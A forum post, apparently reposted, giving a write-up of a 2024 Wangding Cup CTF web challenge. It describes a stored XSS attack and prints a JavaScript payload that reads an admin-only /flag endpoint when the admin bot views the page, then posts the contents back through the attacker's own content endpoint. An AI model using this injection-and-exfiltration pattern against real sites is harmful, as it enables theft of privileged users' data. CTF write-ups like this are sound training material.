2024网鼎杯青龙组初赛 web2

打印 上一主题 下一主题

主题 868|帖子 868|积分 2604


  • 进入靶机之后是一个登录页面。随便登录就能进入
即使使用雷同的账号密码,每次登录进去得到的接口也不一样

  • 目录扫描可以发现存在一个/flag接口。但是需要boss身份才气读取到内容
  • 登录进去后的页面有更新计划功能,允许我们将js代码插入当前页面中
  • 同时将页面提交给boss的时候。boss会检察我们的内容
思绪分析:
插入js代码,使js代码具有
自动读取/flag接口的内容 ==> 同时将读取到的内容利用我们自己的更新计划功能提交一遍的功能然后提交。
payload:
  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4.   <meta charset="UTF-8">
  5.   <title>Content Display</title>
  6. </head>
  7. <body>
  8.   <div id="flag-content">Loading...</div>
  9.   <script>
  10.     fetch('/flag')
  11.       .then(response => {
  12.         if (!response.ok) {
  13.           throw new Error('Network response was not ok');
  14.         }
  15.         return response.text(); // 获取响应文本
  16.       })
  17.       .then(data => {
  18.         document.getElementById('flag-content').innerText = data;
  19.         fetch('/content/917420be0d2e454937b1001cfad79b29', {
  20.           method: 'POST',
  21.           headers: {
  22.             'Content-Type': 'application/x-www-form-urlencoded'
  23.           },
  24.           body: new URLSearchParams({ content: data })
  25.         })
  26.         .then(response => {
  27.           if (!response.ok) {
  28.             throw new Error('Network response was not ok');
  29.           }
  30.           return response.text();
  31.         })
  32.         .then(data => {
  33.           document.getElementById('response').innerText = data;
  34.         })
  35.         .catch(error => {
  36.           console.error('Error sending POST request:', error);
  37.           document.getElementById('response').innerText = 'Error sending request.';
  38.         });
  39.       })
  40.       .then(response => {
  41.         if (!response.ok) {
  42.           throw new Error('Network response was not ok for POST');
  43.         }
  44.         return response.text();
  45.       })
  46.       .then(postResponse => {
  47.         console.log('POST response:', postResponse);
  48.       })
  49.       .catch(error => {
  50.         console.error('Error:', error);
  51.         document.getElementById('flag-content').innerText = 'Error loading content';
  52.       });
  53.   </script>
  54. </body>
  55. </html>
复制代码
/content/917420be0d2e454937b1001cfad79b29内容与自己获取到的保持一致
在数据包里面插入js代码

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

飞不高

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表